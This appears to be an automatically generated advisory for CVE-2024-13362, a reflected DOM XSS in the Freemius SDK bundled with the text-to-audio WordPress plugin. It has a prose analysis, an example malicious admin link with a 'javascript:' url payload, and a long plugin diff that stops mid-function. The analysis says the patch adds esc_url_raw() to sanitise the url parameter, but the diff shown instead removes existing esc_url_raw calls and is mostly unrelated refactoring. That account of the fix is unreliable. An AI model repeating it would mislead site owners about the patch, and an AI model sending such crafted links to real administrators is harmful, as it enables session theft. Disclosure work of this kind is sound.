Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 17, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (text-to-audio)

Plugin text-to-audio
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.7.34
Patched Version 1.8.12
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:
This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) vulnerability in the Freemius SDK library (versions up to 2.10.1) as used by multiple WordPress plugins and themes. The flaw resides in how the SDK processes URLs, particularly via the ‘url’ parameter, allowing unauthenticated attackers to inject arbitrary JavaScript that executes in the context of a victim’s browser session. The CVSS score is 6.1 (Medium), reflecting the need for user interaction to exploit the flaw.

Root Cause:
The root cause is insufficient input sanitization and output escaping of the ‘url’ parameter within the Freemius SDK’s class-freemius.php file. The SDK handles various URLs for licensing, updates, and other communications. When a user is redirected or navigates to a crafted URL containing malicious JavaScript in the ‘url’ parameter, the SDK does not properly escape the value before injecting it into the DOM via localize data or other output mechanisms. This occurs in the enqueue_localize_data block, where data from the ‘url’ parameter can be passed directly into JavaScript variables without sanitization.

Exploitation:
An attacker can exploit this by crafting a malicious link with a ‘url’ parameter containing JavaScript payloads. For example, the link ‘http://victim-site.com/wp-admin/admin.php?page=freemius&url=javascript:alert(1)’ could cause the SDK to process the URL parameter and inject it into the page. The attack requires tricking an authenticated user (e.g., an admin) into clicking the crafted link. The injected script executes in the context of the admin session, potentially allowing actions like stealing cookies, modifying settings, or performing admin-level actions without the user’s knowledge.

Patch Analysis:
The patch in the Freemius SDK (as seen in the diff) primarily focuses on adding input validation and escaping. In class-freemius.php, the SDK now uses esc_url_raw() on the URL before passing it to localize data or other output contexts. Additionally, the patch removes unnecessary transient deletes and adds conditions to prevent execution in certain contexts. The change from delete_transient( ‘tts_all_settings’ ) to TTA_Cache::delete( ‘all_settings’ ) in multiple files indicates a move to a custom caching mechanism, but this is tangential to the XSS fix. The core fix is the addition of esc_url_raw() to sanitize the URL parameter before output.

Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of an authenticated WordPress user, typically an administrator. This can lead to session hijacking, theft of sensitive data (like API keys or nonces), or administrative actions such as creating new admin users, modifying plugins, or defacing the site. The attack requires user interaction (clicking a link), but because it does not require authentication to trigger, the risk is significant for sites where users may be lured into clicking malicious links.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/text-to-audio/admin/TTA_Admin.php
+++ b/text-to-audio/admin/TTA_Admin.php
@@ -3,6 +3,7 @@
 namespace TTA_Admin;

 use TTATTA_Helper;
+use TTATTA_Cache;

 /**
  * The admin-specific functionality of the plugin.
@@ -78,14 +79,21 @@
 			include_once ABSPATH . 'wp-includes/vars.php';
 		}

+		if ( ! function_exists( 'wp_create_nonce' ) ) {
+			include_once ABSPATH . 'wp-includes/pluggable.php';
+		}
+
 		$settings = TTA_Helper::tts_get_settings();

 		$color = '#ffffff';
 		if ( isset( $settings['customize']['color'] ) ) {
 			$color = $settings['customize']['color'];
 		}
+
+		$rest_api_url = TTA_Cache::get( 'tts_rest_api_url' ) ?? esc_url_raw( site_url() . '/wp-json/' );
+
 		$this->localize_data = [
-			'json_url'                 => esc_url_raw( rest_url() ),
+			'json_url'                 => $rest_api_url,
 			'admin_url'                => admin_url( '/' ),
 			'classic_editor_is_active' => is_plugin_active( 'classic-editor/classic-editor.php' ),
 			'buttonTextArr'            => get_option( 'tta__button_text_arr' ),
@@ -103,7 +111,7 @@
 				'is_edge'   => $is_edge, //(boolean): Microsoft Edge
 			],
 			'ajax_url'                 => admin_url( 'admin-ajax.php' ),
-			'api_url'                  => esc_url_raw( rest_url() ),
+			'api_url'                  => $rest_api_url,
 			'api_namespace'            => 'tta',
 			'api_version'              => 'v1',
 			'image_url'                => WP_PLUGIN_URL . '/text-to-audio/admin/images',
@@ -111,9 +119,7 @@
 			'nonce'                    => wp_create_nonce( TEXT_TO_AUDIO_NONCE ),
 			'plugin_name'              => TEXT_TO_AUDIO_PLUGIN_NAME,
 			'rest_nonce'               => wp_create_nonce( 'wp_rest' ),
-			'post_types'               => get_post_types( array(
-				'public' => 1, // Only get public post types
-			), 'array' ),
+			'post_types'               => TTA_Helper::get_post_types(),
 			'post_status'              => TTA_Helper::all_post_status(),
 			'VERSION'                  => is_pro_active() ? get_option( 'TTA_PRO_VERSION' ) : TEXT_TO_AUDIO_VERSION,
 			'is_logged_in'             => is_user_logged_in(),
@@ -141,7 +147,7 @@
 			] ),
 			'categories'               => TTA_Helper::get_all_categories(),
 			'tags'                     => TTA_Helper::get_all_tags(),
-			'is_mobile'                => wp_is_mobile(),
+			'is_mobile'                => 'wp_is_mobile()',
 		];
 	}

@@ -253,14 +259,15 @@
 	}

 	public function engueue_block_scripts() {
-
-		wp_enqueue_script( 'tta-blocks', plugin_dir_url( dirname( __FILE__ ) ) . 'build/blocks.js', array(
-			'wp-blocks',
-			'wp-i18n',
-			'wp-element',
-			'wp-editor'
-		), true, true );
-		wp_localize_script( 'tta-blocks', 'ttaBlocks', $this->localize_data );
+		if ( TTA_Helper::is_edit_page() || isset( $_REQUEST['page'] ) && ( 'text-to-audio' == $_REQUEST['page'] ) ) {
+			wp_enqueue_script( 'tta-blocks', plugin_dir_url( dirname( __FILE__ ) ) . 'build/blocks.js', array(
+				'wp-blocks',
+				'wp-i18n',
+				'wp-element',
+				'wp-editor'
+			), true, true );
+			wp_localize_script( 'tta-blocks', 'ttaBlocks', $this->localize_data );
+		}

 		register_block_type( 'tta/customize-button', [
 			'render_callback' => [ $this, 'render_button' ],
@@ -274,7 +281,6 @@
 	 * @return string
 	 */
 	public function render_button( $customize ) {
-
 		return tta_get_button_content( $customize, true );
 	}

@@ -331,38 +337,41 @@
 			'dashicons-controls-volumeon',
 			20
 		);
-		add_submenu_page( TEXT_TO_AUDIO_TEXT_DOMAIN, __( 'Text To Speech', TEXT_TO_AUDIO_TEXT_DOMAIN ), __( 'Text To Speech', TEXT_TO_AUDIO_TEXT_DOMAIN ), 'manage_options', TEXT_TO_AUDIO_TEXT_DOMAIN , array( $this, "TTA_settings" ), 21 );
+		add_submenu_page( TEXT_TO_AUDIO_TEXT_DOMAIN, __( 'Text To Speech', TEXT_TO_AUDIO_TEXT_DOMAIN ), __( 'Text To Speech', TEXT_TO_AUDIO_TEXT_DOMAIN ), 'manage_options', TEXT_TO_AUDIO_TEXT_DOMAIN, array(
+			$this,
+			"TTA_settings"
+		), 21 );


-        if(get_player_id() > 2) {
-            if(! empty( $_REQUEST['page'] ) &&  $_REQUEST['page'] == 'bulk-mp3-generate') {
-	            wp_enqueue_script( 'tts-font-awesome', plugin_dir_url( __FILE__ ) . 'js/build/font-awesome.min.js', array(), $this->version, true );
-	            wp_enqueue_style( 'tts-bootstrap', plugin_dir_url( __FILE__ ) . 'css/bootstrap.css', [], $this->version, 'all' );
-            }
-	        // Register a new admin page under "Bulk MP3 Generate" menu
-	        add_submenu_page(
-		        'text-to-audio',         // Page title
-		        'Bulk MP3 Generate',               // Menu title
-		        'Bulk MP3 Generate',            // Capability
-		        'manage_options',         // Menu slug
-		        'bulk-mp3-generate',   // Icon (optional)
-		        [$this, 'bulk_mp3_generate'],
-		        33, // Position (optional)
-	        );
-        }
+		if ( get_player_id() > 2 ) {
+			if ( ! empty( $_REQUEST['page'] ) && $_REQUEST['page'] == 'bulk-mp3-generate' ) {
+				wp_enqueue_script( 'tts-font-awesome', plugin_dir_url( __FILE__ ) . 'js/build/font-awesome.min.js', array(), $this->version, true );
+				wp_enqueue_style( 'tts-bootstrap', plugin_dir_url( __FILE__ ) . 'css/bootstrap.css', [], $this->version, 'all' );
+			}
+			// Register a new admin page under "Bulk MP3 Generate" menu
+			add_submenu_page(
+				'text-to-audio',         // Page title
+				'Bulk MP3 Generate',               // Menu title
+				'Bulk MP3 Generate',            // Capability
+				'manage_options',         // Menu slug
+				'bulk-mp3-generate',   // Icon (optional)
+				[ $this, 'bulk_mp3_generate' ],
+				33, // Position (optional)
+			);
+		}

 	}

 	// Callback function to display the content of the page
-	public  function bulk_mp3_generate() {
+	public function bulk_mp3_generate() {
 		echo '<h1>AtlasVoice Pro : Bulk MP3 File Generate</h1>';

 		if ( ! empty( $_REQUEST['atlasvoice_mp3_file'] ) ) {
-			echo  '<div id="atlasvoice_generate_bulk_mp3_file"></div>' ;
-        }else{
+			echo '<div id="atlasvoice_generate_bulk_mp3_file"></div>';
+		} else {
 			$url = admin_url( 'edit.php' );
 			echo '<p>No post ID found. Please select multiple posts from the post page. And apply <strong>AtlasVoice Generate MP3 File</strong> bulk action. <a href="' . $url . '">Go to Posts Page</a></p>';
-            echo 'How it works? <a style="text-decoration:none;color:red" target="_blank" href="https://www.youtube.com/watch?v=HFoqlkPCP80"><span class="fab fa-youtube"></span></a>';
+			echo 'How it works? <a style="text-decoration:none;color:red" target="_blank" href="https://www.youtube.com/watch?v=HFoqlkPCP80"><span class="fab fa-youtube"></span></a>';
 		}

 	}
--- a/text-to-audio/api/AtlasVoice_Analytics.php
+++ b/text-to-audio/api/AtlasVoice_Analytics.php
@@ -11,6 +11,7 @@
  */

 use TTATTA_Activator;
+use TTATTA_Cache;
 use TTATTA_Helper;

 class AtlasVoice_Analytics {
@@ -33,7 +34,6 @@
 				$analytics = $analytics[0];
 			}
 			$merged_analytics = self::merge_analytics_arrays( $analytics, $body['analytics'] );
-//			error_log( print_r( $merged_analytics, 1 ) );

 			update_post_meta( $post_id, 'atlasVoice_analytics', $merged_analytics );

@@ -305,7 +305,7 @@

 		$saved_data = get_option( 'tta_analytics_settings' );

-		delete_transient( 'tts_all_settings' );
+		TTA_Cache::delete( 'all_settings' );


 		$response['status'] = true;
--- a/text-to-audio/api/AtlasVoice_Plugin_Compatibility.php
+++ b/text-to-audio/api/AtlasVoice_Plugin_Compatibility.php
@@ -10,8 +10,7 @@
  * @author     Azizul Hasan <azizulhasan.cr@gmail.com>
  */

-use TTATTA_Activator;
-use TTATTA_Helper;
+use TTATTA_Cache;
 class AtlasVoice_Plugin_Compatibility {

 	/**
@@ -32,7 +31,6 @@
 				$analytics = $analytics[0];
 			}
 			$merged_analytics = self::merge_analytics_arrays( $analytics, $body['analytics'] );
-//			error_log( print_r( $merged_analytics, 1 ) );

 			update_post_meta( $post_id, 'atlasVoice_analytics', $merged_analytics );

@@ -57,7 +55,7 @@

 			$response['data'] = get_option( 'tta_compatible_data' );

-			delete_transient( 'tts_all_settings' );
+			TTA_Cache::delete( 'all_settings' );

 			return rest_ensure_response( $response );
 		}
--- a/text-to-audio/api/TTA_Api_Routes.php
+++ b/text-to-audio/api/TTA_Api_Routes.php
@@ -1,6 +1,10 @@
 <?php

 namespace TTA_Api;
+
+use TTATTA_Cache;
+use TTATTA_Helper;
+
 /**
  * This class is for getting all plugin's data  through api.
  * This is applied for tracker menu.
@@ -226,6 +230,20 @@
 			)
 		);

+		// register text_alias route.
+		register_rest_route(
+			$this->namespace,
+			'/acf_fields',
+			array(
+				array(
+					'methods'             => WP_REST_Server::CREATABLE,
+					'callback'            => array( $this, 'acf_fields' ),
+					'permission_callback' => array( $this, 'get_route_access' ),
+					'args'                => array(),
+				),
+			)
+		);
+

 	}

@@ -254,7 +272,7 @@

 			$response['data'] = get_option( 'tta_record_settings' );

-			delete_transient( 'tts_all_settings' );
+			TTA_Cache::delete( 'all_settings' );

 			return rest_ensure_response( $response );
 		}
@@ -280,7 +298,7 @@
 			update_option( 'tta_listening_settings', $fields );

 			$response['data'] = get_option( 'tta_listening_settings' );
-			delete_transient( 'tts_all_settings' );
+			TTA_Cache::delete( 'all_settings' );

 			return rest_ensure_response( $response );
 		}
@@ -307,9 +325,8 @@

 			$response['data'] = get_option( 'tta_customize_settings' );

-			delete_transient( 'tts_all_settings' );
+			TTA_Cache::delete( 'all_settings' );

-			delete_transient( 'tts_cached_player_id' );

 			return rest_ensure_response( $response );
 		}
@@ -331,12 +348,18 @@
 		// save data about recording.
 		if ( 'post' == $request['method'] ) {
 			$fields = json_decode( $request['fields'] );
+			if ( isset( $fields->tta__settings_clear_all_cache ) && $fields->tta__settings_clear_all_cache ) {
+				TTA_Cache::flush();
+				$fields->tta__settings_clear_all_cache = false;
+			} else {
+				TTA_Cache::delete( 'all_settings' );
+			}
+

 			update_option( 'tta_settings_data', $fields );

 			$response['data'] = get_option( 'tta_settings_data' );

-			delete_transient( 'tts_all_settings' );

 			return rest_ensure_response( $response );
 		}
@@ -379,7 +402,7 @@

 			$response['data'] = get_option( 'tts_text_aliases' );

-			delete_transient( 'tts_all_settings' );
+			TTA_Cache::delete( 'all_settings' );

 			return rest_ensure_response( $response );
 		}
@@ -393,21 +416,21 @@
 		}
 	}

-	public function get_all_user_roles($request) {
+	public function get_all_user_roles( $request ) {
 		// Access the global $wp_roles object
-		if (!isset($wp_roles)) {
+		if ( ! isset( $wp_roles ) ) {
 			global $wp_roles;
 		}

 		// Get all roles
 		$all_roles = $wp_roles->roles;

-		$user_roles = [];
+		$user_roles        = [];
 		$user_roles['all'] = 'All';

 		// Output all roles
-		foreach ($all_roles as $role_key => $role_data) {
-			$user_roles[$role_key]  = $role_data['name'];
+		foreach ( $all_roles as $role_key => $role_data ) {
+			$user_roles[ $role_key ] = $role_data['name'];
 		}

 		$response['status'] = true;
@@ -416,6 +439,19 @@

 		return rest_ensure_response( $response );
 	}
+
+	public function acf_fields( $request ) {
+		$acf_fields = [];
+		if ( TTA_Helper::is_acf_active() ) {
+			$acf_fields = TTA_Helper::get_all_acf_fields();
+		}
+
+		$response['status'] = true;
+
+		$response['data'] = $acf_fields;
+
+		return rest_ensure_response( $response );
+	}


 	/*
--- a/text-to-audio/build/blocks.asset.php
+++ b/text-to-audio/build/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-element', 'wp-i18n'), 'version' => '35fd2581ff8d7b11056b');
+<?php return array('dependencies' => array('wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => '67a096918753ae93b735');
--- a/text-to-audio/freemius/includes/class-freemius.php
+++ b/text-to-audio/freemius/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -5155,11 +5186,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5222,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5291,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5506,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6570,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6694,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7484,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7498,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -8616,7 +8689,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -15974,7 +16047,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -23927,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25403,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/text-to-audio/freemius/includes/class-fs-plugin-updater.php
+++ b/text-to-audio/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/text-to-audio/freemius/includes/class-fs-security.php
+++ b/text-to-audio/freemius/includes/class-fs-security.php
@@ -1,103 +1,103 @@
-<?php
-	/**
-	 * @package     Freemius
-	 * @copyright   Copyright (c) 2015, Freemius, Inc.
-	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-	 * @since       1.0.3
-	 */
-
-	if ( ! defined( 'ABSPATH' ) ) {
-		exit;
-	}
-
-	define( 'WP_FS__SECURITY_PARAMS_PREFIX', 's_' );
-
-	/**
-	 * Class FS_Security
-	 */
-	class FS_Security {
-		/**
-		 * @var FS_Security
-		 * @since 1.0.3
-		 */
-		private static $_instance;
-		/**
-		 * @var FS_Logger
-		 * @since 1.0.3
-		 */
-		private static $_logger;
-
-		/**
-		 * @return FS_Security
-		 */
-		public static function instance() {
-			if ( ! isset( self::$_instance ) ) {
-				self::$_instance = new FS_Security();
-				self::$_logger   = FS_Logger::get_logger(
-					WP_FS__SLUG,
-					WP_FS__DEBUG_SDK,
-					WP_FS__ECHO_DEBUG_SDK
-				);
-			}
-
-			return self::$_instance;
-		}
-
-		private function __construct() {
-		}
-
-		/**
-		 * @param FS_Scope_Entity $entity
-		 * @param int              $timestamp
-		 * @param string           $action
-		 *
-		 * @return string
-		 */
-		function get_secure_token( FS_Scope_Entity $entity, $timestamp, $action = '' ) {
-			return md5(
-				$timestamp .
-				$entity->id .
-				$entity->secret_key .
-				$entity->public_key .
-				$action
-			);
-		}
-
-		/**
-		 * @param FS_Scope_Entity $entity
-		 * @param int|bool         $timestamp
-		 * @param string           $action
-		 *
-		 * @return array
-		 */
-		function get_context_params( FS_Scope_Entity $entity, $timestamp = false, $action = '' ) {
-			if ( false === $timestamp ) {
-				$timestamp = time();
-			}
-
-			return array(
-				's_ctx_type'   => $entity->get_type(),
-				's_ctx_id'     => $entity->id,
-				's_ctx_ts'     => $timestamp,
-				's_ctx_secure' => $this->get_secure_token( $entity, $timestamp, $action ),
-			);
-		}
-
-		/**
-		 * Gets a sandbox trial token for a given plugin, plan, and trial timestamp.
-		 *
-		 * @param FS_Plugin      $plugin
-		 * @param FS_Plugin_Plan $plan
-		 * @param int            $trial_timestamp
-		 *
-		 * @return string
-		 */
-		function get_trial_token( FS_Plugin $plugin, FS_Plugin_Plan $plan, $trial_timestamp ) {
-			return md5(
-				$plugin->secret_key . $plugin->public_key .
-				$plan->trial_period .
-				$plan->id .
-				$trial_timestamp
-			);
-		}
-	}
+<?php
+	/**
+	 * @package     Freemius
+	 * @copyright   Copyright (c) 2015, Freemius, Inc.
+	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+	 * @since       1.0.3
+	 */
+
+	if ( ! defined( 'ABSPATH' ) ) {
+		exit;
+	}
+
+	define( 'WP_FS__SECURITY_PARAMS_PREFIX', 's_' );
+
+	/**
+	 * Class FS_Security
+	 */
+	class FS_Security {
+		/**
+		 * @var FS_Security
+		 * @since 1.0.3
+		 */
+		private static $_instance;
+		/**
+		 * @var FS_Logger
+		 * @since 1.0.3
+		 */
+		private static $_logger;
+
+		/**
+		 * @return FS_Security
+		 */
+		public static function instance() {
+			if ( ! isset( self::$_instance ) ) {
+				self::$_instance = new FS_Security();
+				self::$_logger   = FS_Logger::get_logger(
+					WP_FS__SLUG,
+					WP_FS__DEBUG_SDK,
+					WP_FS__ECHO_DEBUG_SDK
+				);
+			}
+
+			return self::$_instance;
+		}
+
+		private function __construct() {
+		}
+
+		/**
+		 * @param FS_Scope_Entity $entity
+		 * @param int              $timestamp
+		 * @param string           $action
+		 *
+		 * @return string
+		 */
+		function get_secure_token( FS_Scope_Entity $entity, $timestamp, $action = '' ) {
+			return md5(
+				$timestamp .
+				$entity->id .
+				$entity->secret_key .
+				$entity->public_key .
+				$action
+			);
+		}
+
+		/**
+		 * @param FS_Scope_Entity $entity
+		 * @param int|bool         $timestamp
+		 * @param string           $action
+		 *
+		 * @return array
+		 */
+		function get_context_params( FS_Scope_Entity $entity, $timestamp = false, $action = '' ) {
+			if ( false === $timestamp ) {
+				$timestamp = time();
+			}
+
+			return array(
+				's_ctx_type'   => $entity->get_type(),
+				's_ctx_id'     => $entity->id,
+				's_ctx_ts'     => $timestamp,
+				's_ctx_secure' => $this->get_secure_token( $entity, $timestamp, $action ),
+			);
+		}
+
+		/**
+		 * Gets a sandbox trial token for a given plugin, plan, and trial timestamp.
+		 *
+		 * @param FS_Plugin      $plugin
+		 * @param FS_Plugin_Plan $plan
+		 * @param int            $trial_timestamp
+		 *
+		 * @return string
+		 */
+		function get_trial_token( FS_Plugin $plugin, FS_Plugin_Plan $plan, $trial_timestamp ) {
+			return md5(
+				$plugin->secret_key . $plugin->public_key .
+				$plan->trial_period .
+				$plan->id .
+				$trial_timestamp
+			);
+		}
+	}
--- a/text-to-audio/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/text-to-audio/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/text-to-audio/freemius/includes/entities/class-fs-site.php
+++ b/text-to-audio/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -190,7 +190,7 @@
                 fs_ends_with( $subdomain, '.cloudwaysapps.com' ) ||
                 // Kinsta
                 (
-                    ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
+                    ( fs_starts_with( $subdomain, 'stg-' ) ||  fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
                     ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) )
                 ) ||
                 // DesktopServer
@@ -208,6 +208,40 @@
             );
         }

+        /**
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         *
+         * @param string $host
+         *
+         * @return bool
+         */
+        static function is_playground_wp_environment_by_host( $host ) {
+            // Services aimed at providing a WordPress sandbox environment.
+            $sandbox_wp_environment_domains = array(
+                // InstaWP
+                'instawp.xyz',
+
+                // TasteWP
+                'tastewp.com',
+
+                // WordPress Playground
+                'playground.wordpress.net',
+            );
+
+            foreach ( $sandbox_wp_environment_domains as $domain) {
+                if (
+                    ( $host === $domain ) ||
+                    fs_ends_with( $host, '.' . $domain ) ||
+                    fs_ends_with( $host, '-' . $domain )
+                ) {
